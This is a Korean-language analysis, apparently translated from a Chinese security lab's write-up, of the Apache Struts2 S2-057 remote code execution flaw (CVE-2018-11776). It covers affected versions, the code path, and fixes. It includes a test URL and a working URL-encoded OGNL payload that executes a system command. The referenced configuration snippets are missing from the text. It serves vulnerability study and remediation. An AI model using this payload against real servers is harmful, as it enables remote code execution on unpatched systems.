Apache Struts 프레임워크는 Java Servlet, JavaBeans 및 JSP(JavaServer Pages)의 웹 애플리케이션 프레임워크를 기반으로 하는 오픈 소스 프로젝트로 MVC(Model-View-Controller) 디자인 패턴을 기반으로 합니다. 복잡한 웹 애플리케이션을 구축하는 데 사용됩니다. 이를 통해 애플리케이션의 비즈니스 로직, 제어 로직 및 프레젠테이션 로직의 코드를 분해하여 재사용 및 유지 관리가 더욱 용이해집니다. Struts 프레임워크는 Jakarta 프로젝트의 일부이며 Apache Software Foundation에서 관리합니다.
Tianrongxin Alpha Lab에서는 Apache Struts2 S2-057 원격 코드 실행 취약점 분석을 제공합니다~
struts.mapper.alwaysSelectFullNamespace가 true로 설정되고 패키지 탭 페이지와 부재 결과의 param 태그 페이지에 있는 네임스페이스 값 또는 와일드카드를 사용하면 네임스페이스가 제어될 수 있습니다. 결국 네임스페이스가 실행을 위해 OGNL 문으로 가져와 원격 코드 실행 취약점이 발생합니다.
Apache Struts 2.3 - Struts 2.3.34
Apache Struts 2.5 - Struts 2.5.16
CVE-2018-11776
1. 다운로드: http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip
2. 구성 파일 struts-actionchaining.xml을 수정하세요
다양한 유형의 취약점이 있습니다. 공격 벡터는 다음과 같습니다.
Redirect action
Action chaining
Postback result
첫 번째 것을 예로 들어 구성 파일 콘텐츠를 다음과 같이 수정합니다.
클래스parseNameAndNamespace 메소드에서.
alwaysSelectFullNamespace가 true로 설정되면 URL에서 네임스페이스 값을 가져옵니다. URL을 제어할 수 있으므로 네임스페이스도 제어할 수 있습니다.
액션이 실행된 후 프로그램은 ServletActionRedirectResult 클래스의 Execute() 메서드를 호출하여 리디렉션 결과를 구문 분석합니다.
먼저 네임스페이스가 비어 있으면 invocation.getProxy().getNamespace()를 호출하여 변수 네임스페이스에 값을 할당한 다음 변수 네임스페이스를 ActionMapping 생성자에 전달합니다.
그런 다음 ActionMapper.getUriFromActionMapping()은 ActionMapping 이후의 값을 재구성하고 URL 문자열(네임스페이스 포함)을 생성하여 tmplocation 변수에 할당합니다.
그런 다음 네임스페이스가 있는 tmplocation이 setLocation() 메서드에 전달됩니다.
이 메소드는 StrutsResultSupport 클래스의 위치 변수에 tmpLocation 값을 할당합니다.
그런 다음 super.execute() 메서드를 추적하세요.
ServletActionResult 클래스에서 super.execute()를 계속 추적합니다.
StrutsResultSupport 클래스의 Execute() 메소드에서 방금 할당된 위치 변수(네임스페이스 포함)가 ConditionalParse() 메소드에 전달됩니다.
마지막으로 TextParseUtil.translateVariables()를 통한 네임스페이스의 OGNL 구문 분석으로 인해 원격 코드 실행 취약점이 발생했습니다.
1. URL이 /${(111+111)}/actionChain1.action인 주소를 방문하세요.
Access가 OGNL 표현식을 트리거하고 URL이 /222/register2.action으로 변경되며 취약점이 존재합니다.
2. 페이로드:
%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d
이 페이로드는 2.3 시리즈 버전에만 적용됩니다.
영향을 받는 사용자는 가능한 한 빨리 Apache Struts 2.3.35 또는 Struts 2.5.17로 업그레이드해야 합니다. : //struts.apache.org/download.cgi#struts2517.
구성 파일 수정:
패키지 태그의 네임스페이스 값과 결과의 param 태그를 수정하고 와일드카드 사용을 금지합니다.
위 내용은 Apache Struts2 S2-057 원격 코드 실행 취약점 분석을 수행하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!